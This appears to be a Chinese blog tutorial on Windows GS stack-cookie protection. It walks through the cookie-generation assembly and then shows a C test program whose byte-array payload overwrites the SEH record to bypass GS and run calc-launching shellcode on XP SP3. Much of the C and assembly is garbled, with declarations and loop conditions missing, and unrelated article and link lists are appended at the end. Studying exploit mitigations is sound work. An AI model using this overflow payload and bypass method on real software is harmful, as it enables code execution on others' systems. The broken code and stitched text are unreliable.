GS简介:

  Windows的缓冲区安全监测机制(GS)可以有效的阻止经典的BOF攻击,因为GS会在函数调用前往函数栈帧内压入一个随机数(canary),然后等函数返回前,会对canary进行核查,判断canary是否被修改。因为canary的地址是(前栈帧EBP-4),所以如果溢出攻击想要覆盖返回地址或者异常处理句柄的话,就会路过canary。系统检测到canary被修改之后,在函数返回前就会直接终止程序,no return,no exception,so no exploit。

GS原理:

  下面用一个简单的C程序来跟踪一下GS的流程,测试环境为XP SP3+VS2005(DEP OFF,SAFESEH OFF)。

C代码:

#include "stdafx.h"
#include<stdio.h>
#include<string.h>

char name[]={0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90};
void overflow();
int main()
{
     overflow();
     printf("fuction returned");
     ;
}

void overflow()
{
     ];
     memcpy(output, name,sizeof(name));
     ;i<&&output[i];i++)
     printf("\\0x%x",output[i]);
}

编译之后,执行直接报错,因为复制字符串时发生了溢出,覆盖了canary,程序直接退出。

用Olldbg打开,如下图:

  系统默认中断在security_init_cookie函数,程序载入内存后这个函数首先运行。下面就是通过OD来查看GS机制的分析部分,分三个步骤:①计算随机种子。②canary写入栈帧。③GS校验。如果觉得看asm比较枯燥的话,就了解一下这三个步骤的大体流程就可以了。

大体流程就是:

  1. 程序启动时,读取.data节的第一个dword。
  2. 以这个dword为基数,通过和当前系统时间,进程ID,线程ID,性能计数器进行一系列加密运算(多次XOR)。
  3. 把加密后的种子再写入.data节的第一个dword。
  4. 函数在执行前,把加密后的种子取出,与当前esp进行异或计算,结果存入“前EBP”的前面(低地址端)。
  5. 函数主体正常执行。
  6. 函数返回前,把canary取出与esp异或计算后,调用__security_check_cookie函数进行检查,与.data节里的种子进行比较,如果校验通过则返回原函数继续执行。如果校验失败,则程序终止。

Asm代码:

①   计算随机种子。

               push    ebp

004016E5  |.  8BEC             mov     ebp, esp

      mov     eax, dword ptr [__security_cookie]  //取exe地址00403000处的第一个DWORD到eax。

 F8        ],   //设置局部变量为0,此处是两个DWORD,作为filetime结构体,后面用来存放获取的系统时间。

 FC        ],   //同上。

               push    ebx  //备份ebx,返回时恢复。

               push    edi  //备份edi,返回时恢复。

004016F9  |.  BF 4EE640BB      mov     edi, BB40E64E  //把00403000处的第一个dword,也就是.DATA节的第一个双字赋值给edi。

004016FE  |.  3BC7             cmp     eax, edi  //判断eax和edi是否相等。

  |.  BB 0000FFFF      mov     ebx, FFFF0000  //ebx赋值为FFFF0000。

  |.     //如果eax和edi相等则跳转。

  |.  85C3             test    ebx, eax

  |.               

0040170B  |.  F7D0             not     eax

      mov     dword ptr [__security_cookie_complement], eax

  |.  EB             

  |>                 push    esi  //备份esi,返回时用来恢复。

  |.  8D45 F8          ]  //取得filetime结构体地址。

  |.                 push    eax                                               ;   //pFileTime入栈。

  |.  FF15     call    dword ptr [<&KERNEL32.GetSystemTimeAsFileTime>]   ;   //调用GetSystemTimeAsFileTime获取系统时间,放入ebp-12至ebp-4共8个字节。

]  //取得系统时间的高4字节。

  |.   F8          ]  //系统时间高4字节与低4字节进行异或,结果存入esi。

  |.  FF15     call    dword ptr [<&KERNEL32.GetCurrentProcessId>]  //调用GetCurrentProcessId取得当前进行ID,存入eax。

0040172B  |.  33F0             xor     esi, eax  //进程ID和前面的esi进行异或,结果存入esi。

    call    dword ptr [<&KERNEL32.GetCurrentThreadId>]        ; //获取当前线程ID,存入eax。

  |.  33F0             xor     esi, eax  //线程ID和前面的esi进行异或,结果存入esi。

  |.  FF15     call    dword ptr [<&KERNEL32.GetTickCount>]  //获取系统启动至今的微秒数,存入eax。

0040173B  |.  33F0             xor     esi, eax  //系统启动至今微秒数和前面的esi进行异或,结果存入esi。

]  //准备pPerformanceCount函数的参数,一个large_integer类型的结构体指针,结构体8个字节。

  |.                 push    eax  // lpPerformanceCount参数入栈。

  |.  FF15 0C204000    call    dword ptr [<&KERNEL32.QueryPerformanceCounter>]  //调用性能计数器,其实还是个高精度时间戳。

  |.  8B45 F4          mov     eax, dword ptr [ebp-C]  //把时间戳高4位赋给eax。

 F0          ]  //把时间戳高4位和低4位进行异或,结果存入eax。和前面GetSystemTimeAsFileTime算法一样。

0040174D  |.  33F0             xor     esi, eax  //时间戳异或结果和esi进行异或计算,结果存入esi。

0040174F  |.  3BF7             cmp     esi, edi  //比较esi和edi是否相同,防止出现碰撞。

  |.               jnz     short 0040175A  //不相等的话,跳转。

  |.  BE 4FE640BB      mov     esi, BB40E64F  //相等的话,

  |.  EB 

0040175A  |>  85F3             test    ebx, esi  //比较esi和ebx是否相同。

               //不相同的话,加密结束,写入。

0040175E  |.  8BC6             mov     eax, esi

  |.  C1E0           

  |.  0BF0             or      esi, eax

  |>       mov     dword ptr [__security_cookie], esi  //把加密后的canary放入.data区首的4个字节。

0040176B  |.  F7D6             not     esi  //密文取反。

     mov     dword ptr [__security_cookie_complement], esi  //密文取反写入.data取的第5到第8个字节,紧挨着canary。

  |.  5E               pop     esi  //恢复环境。

  |>  5F               pop     edi  //恢复环境。

  |.  5B               pop     ebx  //恢复环境。

  |.  C9               leave  //恢复环境。与Mov esp,ebp+pop ebp等效。

  \.  C3               retn  //函数返回。

②   Canary写入栈帧:

 >/$  83EC 0C          sub     esp, 0C  //函数开头,开辟栈空间。

  |.  A1       mov     eax, dword ptr [__security_cookie]  //把加密后的种子赋给eax。

  |.  33C4             xor     eax, esp  //eax和当前esp进行异或计算。

         ], eax  //把异或后得到的canary写入栈帧。

③   GS校验:

        ]  //把canary赋给ecx。

  |.  33CC             xor     ecx, esp  //ecx和esp异或。

    cmp     ecx, dword ptr [__security_cookie]  //比较ecx和.data区的加密种子是否相同。

   .                 //不相同则校验失败,跳转失败处理分支。

   .  F3:              prefix rep:  //相同则返回原函数。

   .  C3               retn  //相同则返回原函数。

   >  E9 AD020000      jmp     __report_gsfailure  //跳入失败处理分支,主要功能是调用UnhandledExceptionFilte,显示个程序崩溃的框框,如果不选择调试,则调用TerminateProcess结束当前进程。

GS绕过:

  了解GS的保护原理之后,绕过方法就水到渠成了。既然你GS在我函数返回前就给我来个突然杀出,那我就在你GS校验函数执行之前给你来个突然杀出。如果函数在执行时,发生异常,则操作系统(NTDLL.DLL)会直接接管,然后进入异常处理过程。这样GS校验函数就没有了执行的机会。

  其实不只是覆盖SEH这一种绕过方法,只要想办法在函数的security_check_cookie函数执行之前,获取EIP控制权都可以绕过,比如在函数溢出之后且函数返回之前,调用了某些函数指针,如果在溢出的时候覆盖掉这个指针,就可以绕过GS。当然还有同时覆盖.data区和canary来使security_check_cookie验证通过,不过遇到这种漏洞的概率太小了。

下面我们改一下我们的C程序,让溢出的字符串继续往下溢出,直到溢出SEH structure,并且溢出到栈顶,这样就会触发一个访问异常,于是就进入了异常处理过程,从而悄无声息的绕过了GS保护机制。(关于覆盖SEH进行溢出利用的方法请参见我的另一篇博文)。

C代码:

// GSBYPASS.cpp : 定义控制台应用程序的入口点。

#include "stdafx.h"
#include<stdio.h>
#include<string.h>

char name[]={0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xEB,0x06,0x90,0x90,0x10,0x12,0x40,0x00,0x8B,0xEC,0x33,0xFF,0x57,0x57,0xC6,0x45,0xFB,0x63,0xC6,0x45,0xFC,0x61,0xC6,0x45,0xFD,0x6C,0xC6,0x45,0xFE,0x63,0x8D,0x45,0xFB,0x50,0xB8,0xC7,0x93,0xBF,0x77,0xFF,0xD0,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90};

void overflow();

int main()
{
     overflow();
     printf("fuction returned");
     ;
}

void overflow()
{
     ];
     memcpy(output, name,sizeof(name));
     ;i<&&output[i];i++)
     printf("\\0x%x",output[i]);
}

编译,运行,成功绕过:

逆向工程学习第四天--Windows栈溢出保护机制(GS)原理及绕过测试的更多相关文章

  1. gcc栈溢出保护机制:stack-protector

    关键词:stack-protector.stack-protector-strong.stack-protector-all等等. 1. gcc栈保护机制stack-protector简介 gcc提供 ...

  2. SonarQube学习(四)- 使用Jenkins集成JaCoCo和SonarQube检查代码测试覆盖率

    一.前言 我始终觉得学习这件事是自己的事,自己会了就是会了,无关于他人,但有点小伤感的是现在的阅读量开始走低. 二.准备 安装Jenkins,请移步<Docker学习(二)- Docker 安装 ...

  3. Python爬虫学习:四、headers和data的获取

    之前在学习爬虫时,偶尔会遇到一些问题是有些网站需要登录后才能爬取内容,有的网站会识别是否是由浏览器发出的请求. 一.headers的获取 就以博客园的首页为例:http://www.cnblogs.c ...

  4. java之jvm学习笔记四(安全管理器)

    java之jvm学习笔记四(安全管理器) 前面已经简述了java的安全模型的两个组成部分(类装载器,class文件校验器),接下来学习的是java安全模型的另外一个重要组成部分安全管理器. 安全管理器 ...

  5. Java Web入门学习(四)Eclipse与Maven、Tomcat整合配置

    Java Web学习(四)Eclipse与Maven整合配置 一.准备工作 1.Tomcat 8.5.15 2.Maven3.5 3.Eclipse Neon.3 Release (4.6.3) 二. ...

  6. Java Web入门学习(四)Eclipse与Maven、Tomcat整合配置 (重整版并解决问题)

    Java Web学习(四)Eclipse与Maven整合配置 (重整版) 一.准备工作 1.Tomcat 8.5.15 2.Maven3.5 3.Eclipse Neon.3 Release (4.6 ...

  7. 【数据库】3.0 MySQL入门学习(三)——Windows系统环境下MySQL安装

    1.0 我的操作系统是window10 专业版 64位.,不过至少windows7以上系统都是一样的. 关于MySQL如何下载,请参考博文: [数据库]2.0 如何获得MySQL以及MySQL安装 h ...

  8. SODBASE CEP学习(四)续:类SQL语言EPL与Storm或jStorm集成-使用分布式缓存

    流式计算在一些情况下会用到分布式缓存,从而实现(1)想把统计或计算结果保存在分布缓存中.供其他模块或其他系统调用. (2)某一滑动时间窗体上计数.比如实时统计1小时每一个Cookie的訪问量.实时统计 ...

  9. kvm虚拟化学习笔记(四)之kvm虚拟机日常管理与配置

    KVM虚拟化学习笔记系列文章列表----------------------------------------kvm虚拟化学习笔记(一)之kvm虚拟化环境安装http://koumm.blog.51 ...

随机推荐

  1. FlashBuilder4安装SVN插件步骤

    1. 选择菜单 帮助–> 安装新软件 2. 在使用里键入地址:  http://subclipse.tigris.org/update_1.6.x并点击添加 在Subclipse栏里选择带有Re ...

  2. Eclipse安装SVN插件

    Eclipse 安装最新SVN插件 下载地址 下载最新的Eclipse,我使用的是eclipse-jee-kepler-SR2-win32-x86_64.zip(Eclipse IDE for Jav ...

  3. maven 打包含有第三方依赖的 jar 包

    maven 打包含有第三方依赖的 jar 包:mvn assembly:assembly

  4. Appfuse:权限控制

    Appfuse的权限控制依赖于Struts的Menu机制,common下的menu.jsp是对菜单顺序的定义,详细的菜单项和菜单链接及权限再menu-config.xml中控制,如下: <Men ...

  5. VS2015调试时没有启动IIS Express Web服务器 或者停止调试时 IIS Express 跟着关闭

    解决方法: 打开 解决方案资源管理器 -> 点选 Web 项目选择 -> 属性 -> Web "服务器"  去掉勾选"将服务器设置应道所有用户" ...

  6. 通过中看不中用的代码分析Ioc容器,依赖注入....

    /** * 通过生产拥有超能力的超人实例 来理解IOC容器 */ //超能力模组接口 interface SuperModuleInterface{ public function activate( ...

  7. JavaScript 解析 Django Python 生成的 datetime 数据 时区问题解决

    JavaScript 解析 Django/Python 生成的 datetime 数据 当Web后台使用Django时,后台生成的时间数据类型就是Python类型的. 项目需要将几个时间存储到数据库中 ...

  8. CODE[VS]4633Mz树链剖分练习

    Description 给定一棵结点数为n的树,初始点权均为0,有依次q个操作,每次操作有三个参数a,b,c,当a=1时,表示给b号结点到c号结点路径上的所有点(包括b,c,下同)权值都增加1,当a= ...

  9. js特效,加速度,图标跳动

    看到一个在地图上的特效,就是标注当前位置之后,图标一直在跳动,那效果看着比较得劲,就自己写了个图标跳动的jsjs代码: setTimeout("jump()",5); var t= ...

  10. C++使用vector

    #include <iostream> #include <string> #include <vector> using namespace std; void ...